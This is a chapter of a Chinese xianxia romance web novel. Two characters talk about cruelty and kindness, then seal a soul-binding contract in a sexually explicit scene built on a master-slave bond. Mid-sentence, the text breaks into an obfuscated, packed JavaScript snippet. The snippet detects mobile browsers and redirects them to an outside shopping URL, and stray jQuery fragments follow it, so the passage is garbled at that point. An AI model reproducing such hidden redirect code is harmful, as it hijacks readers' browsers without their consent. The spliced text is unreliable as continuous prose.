26.第二十六章

作品:《【GB】她怎么不来攻略我

    爱是什么?恨是什么?痛苦又是什么?平时与人谈起这些感情,俞霜只听过而过,别人只感叹她的好脾气、进而更无度地索求她的能力。


    但即便吃不饱,受人欺负,她也很快便忘了。纠缠于身的情绪,旁人觉得很严重、甚至为她抱不平的事,并不会使她困扰。


    当为她说话的人反过来指责她的懦弱,俞霜就分外无措:我并没有要求你为我“站出来说话”呀!你做这些事的时候,也没有提前与我商量要我做什么呀!她过得反而更不好,但从结果看,大概还是她做错了吧。


    俞霜觉得心烦,苦苦思解,像是在黑暗的沼泽地跋涉,无论如何挣扎,前路都没有一个可以脱身的方向,只能更深更窒息地沉没下去。她就慢慢放弃挣扎,寻一个角落睡觉。


    直到睡觉也不起作用的时候,她就……死了。


    并不理解的那些情绪,她渐渐明白了,原来她一直没有忘记。


    被商卿夜抱在怀里,种种难以言说的辛酸苦辣一时涌上心头,她觉得委屈,所以放声大哭,他劝不住,只好一遍又一遍地在她面颊上落下亲吻。


    “我可把能给的全给你了,一点不剩,怎么还这么不高兴呢?”


    商卿夜实在没了办法,只好半开玩笑地问她:“还有哪里不满意?又又不告诉我,我如何知道?”


    “我没有不高兴。”


    六个字的回答,姑娘抽抽噎噎,好容易才说出来,揉了揉眼睛,拿手四处胡乱摸索,搂住他的腰,往温暖的怀抱里贴得更紧了些。“我,我……不知道……真的不知道。”


    “不知道也没关系。”商卿夜说。“我愿意你都说出来,哪怕不懂,讲明白哪里不懂,也是好的。”


    “就是……就是没有人像剑尊一样对我好。我不明白为什么他们对我那么不好?”


    商卿夜静默半晌,才道:“别人对你好,或许需要理由,但对你不好,却是不需要因缘的。就如我从未做错什么,却要被攻略者欺压羞辱,难道这是我求来的么?他们欺辱我,良心也不会作痛,欺辱利用人让他们觉得快活刺激,又或者能得到切实的利益,便做了,实在不用去追一个为什么的。”


    “至于我对你好……我之前给你的,不过是因为我年长你太多,也拥有得太多,而你什么都没有,从指缝里漏一点,你就觉得我付出了很多。”剑修嗤笑一声,也不知实在笑俞霜,还是在笑自己。


    “这么多年下来,与天道对抗,为了求一个可能,我什么做不了?贞/操而已,你又可爱,给便给了,又值当什么。”


    从未有人和俞霜说这么多、又剖开事实解给她听,眼睛睁得大大的,也无心再哭了:“原来,原来欺负人,是可以没有原因的吗?”


    她本来想问他们为什么这么坏,难得举一反三:别人若是坏,也可以没有原因的呀。


    “你觉得你兰师姐,还有易师兄,对你好吗?”


    俞霜点头。


    “也许一开始,她们是碍于我的声名、碍于师尊的嘱咐照顾你,但兰杜薇予你佩剑、为了你拦住我当面质问,易入诚日日琢磨凡人点心,便只能出自本心了。好歹是青竹道尊座下亲传,自有傲气,做不到如此谄媚的地步。”


    “为,为什么呀?因为她们是特别善良的好人吗?”


    商卿夜点了点她鼻尖:“这个问题的答案,要你自己想出来才有意义。”


    俞霜想了很久,商卿夜抱着她,也不催促,姑娘一时想不明白没关系,重要的是她已经开始思考一些新事物,从一些新角度看每一件事。


    而他有的是时间等她想明白。


    “安归。”姑娘开口。“抱抱。”


    “这不是一直抱着呢?”


    商卿夜无奈轻笑。


    她拿双臂缠住他,整个人把他黏得死死的,声音里还染着丝丝哭腔:“不管别人,安归,安归是我的,对吗?无论我好不好,是我的,就不会没有了。”


    “嗯。”


    俞霜抚摸他的脸颊,目光仔细,这是她唯一所有的,所以就比珍宝还要珍宝。当然,或许很早以前他就已经成为她重要的一部分,待到现在,变成由苦涩、犹疑与挣扎酿出来的厚重的珍贵。


    她看着他,也隐约像是看着从前被夺走、损毁和无力掌控的东西,并且试图凭借自己的力量重新找回。


    原来,弄懂自己的处境也需要引领和时间,原来有时自己也无法理解自己。


    人若想好好地活在这世上,是多么难啊。


    俞霜把脸埋在商卿夜颈窝里,身子软软地靠在他胸口。


    太衍合魂契给了她一种完全不一样的感觉,他的气息、情绪、灵力,心跳,被无数看不见的丝线牵引,顺着它们脉脉地流进她的身体,温柔而厚重地承托着她。一直以来悬在空中、仿佛下一秒总要踏进深渊的双脚落进踏实的土地里。


    她微微弓起背,把他向前一推,商卿夜顺势往后倒,被姑娘按在了床上。剑修轻轻握住她掩在自己衣襟上的手,主奴契已经结下,若想改就只有死。


    御主意动——都无需情动,契奴的身体便放浪起来,渴求被当做炉鼎器具恶劣使用。


    所谓燕婉之欢,因生性与环境所使,他本是极不屑的。如原著仙尊那般将自己轻身相与,成为谁的掌心玩物,他心里只有对双方的无尽鄙夷。


    俞霜轻轻吻上来,吻他的唇角,一下一下地啄,慢慢移到脖颈,嘴唇磨蹭凸起的喉结,最后落到锁骨,动作里有十足的小心翼翼。


    被这么吻着,商卿夜不知怎么心中一动,仿佛他苦寻而迟迟不得的、突破心障的某个答案已近在咫尺,不过是捅破一层窗户纸的程度。


    灵光转瞬即逝,捕捉不得,他眼里落出点怅然,旋即不见,伸手解去外袍。


    姑娘快快地摸了一下他胸口、小腹还有大腿,一触即退,最后按上他腰侧的牡丹印,抬眼还有些怯惧:“……我的?”


    “你的。”他说。


    她的手按在那血红的印记上,一股热流随即窜入四肢百骸,坚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963049|192957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    硬的筋骨便被泡进温水里似的发软了。俞霜几乎是整个身子压在了他的身上,一只手按着他的肩膀,一只手胡乱地扒着他的胸口。


    商卿夜深深叹了口气,她突然咬住他喉结,渗出丝丝血液。


    剑修很擅长忍耐疼痛,何况那只是一点点痛,他主动亲向她的鼻尖,含笑看她。


    她瞧着他的模样,忽然眼里就慢慢燃起两簇火来。


    “我的。”


    俞霜伸手钳住剑尊的下巴,将侧过去的、满是泪痕的脸别过来。这动作还是她从他那里学来的,用得很是得心应手。便是她近日体虚无力,他也更无力,做不得反抗。


    落在他身上的先是软软的唇,然后是硬利的齿,就像是野兽往地盘上打标记一样,被她吮吻过的地方,全都红通通地肿了起来。商卿夜甚至不知自己是在被亲吻,还是被生生吞进去。


    “我的。”


    姑娘嘴里念叨着,又回到他胸口,嘴唇蹭着可怜兮兮绽着的血口,把甜丝丝的血和甜丝丝的奶一起咽进肚里。


    在那些贫瘠的记忆里,只有吞进肚子里的东西才算真正得到。剑尊一边大腿已经麻了,肚子像吃撑了一样胀得很鼓,灰黑的眸子茫然涣散,身子过电似的止不住痉挛。


    她又去抚摸他腰身处的牡丹刺青,栩栩如生的花瓣象征着两人相通的情意,与她心口的那枚刺青如出一辙。


    这是神魂相碰,他几乎什么都感觉不到了,停下来恢复正常似乎都变得遥不可及,身体飘浮到天上,被她拽着,神魂烧起来,被全部吞下去。


    太衍合魂契,太衍合魂契,仅凭结契便能让人心意相通,神魂相和,两人同心。


    姑娘在上头吻着他,脖颈是杏仁般的白,像幼兽坦露的柔软肚腹。他一时觉得死也不过就那样罢了。这么想着,他居然挺过了那样漫长的让人宁愿厥死昏迷的结契。


    姑娘撑在上方瞧他。剑尊眼里有一种她没见过的失神与柔软,如同羽毛一样轻轻拂过心尖。


    遥不可及的高岭雪巅似是化了,并没有变得污浊,而是淌成一条清亮亮的溪流。俞霜觉得自己肚子里很饱,好似就着溪水吃了满肚子碎琼美玉,充盈全身的饱足感也是从来没有的。她有些恍惚地想,原来心和心真的能贴在一起黏糊成一个么?


    既饱,又饿,她再伏上来,蹭着他的脸要甜腻缠绵的亲吻。商卿夜闭着眼睛,慢慢顺她蹭得凌乱的头发,只觉筋疲力尽:“……差不多得了。”


    家养小香猪突变凶残臭野猪,真是呜呼哀哉。


    谁知痴缠没过半刻,俞霜的脸忽然扭曲起来,身子颤着滚到床下,撑着地板,张开嘴哇哇大吐。


    吐出来的全是发黑腥臭还带着结块的血水,姑娘眼前闪出片片重影,吓得直打哆嗦:“我,我怎么了?我怎么吐黑血?我是要死了吗?我不要!我不要死!剑尊救救我!”


    商卿夜表情冷冰冰,眼里全是笑,支起一条胳膊,不紧不慢地嗤一声:“纵/欲/过度,神仙难救,没治了,等死吧。”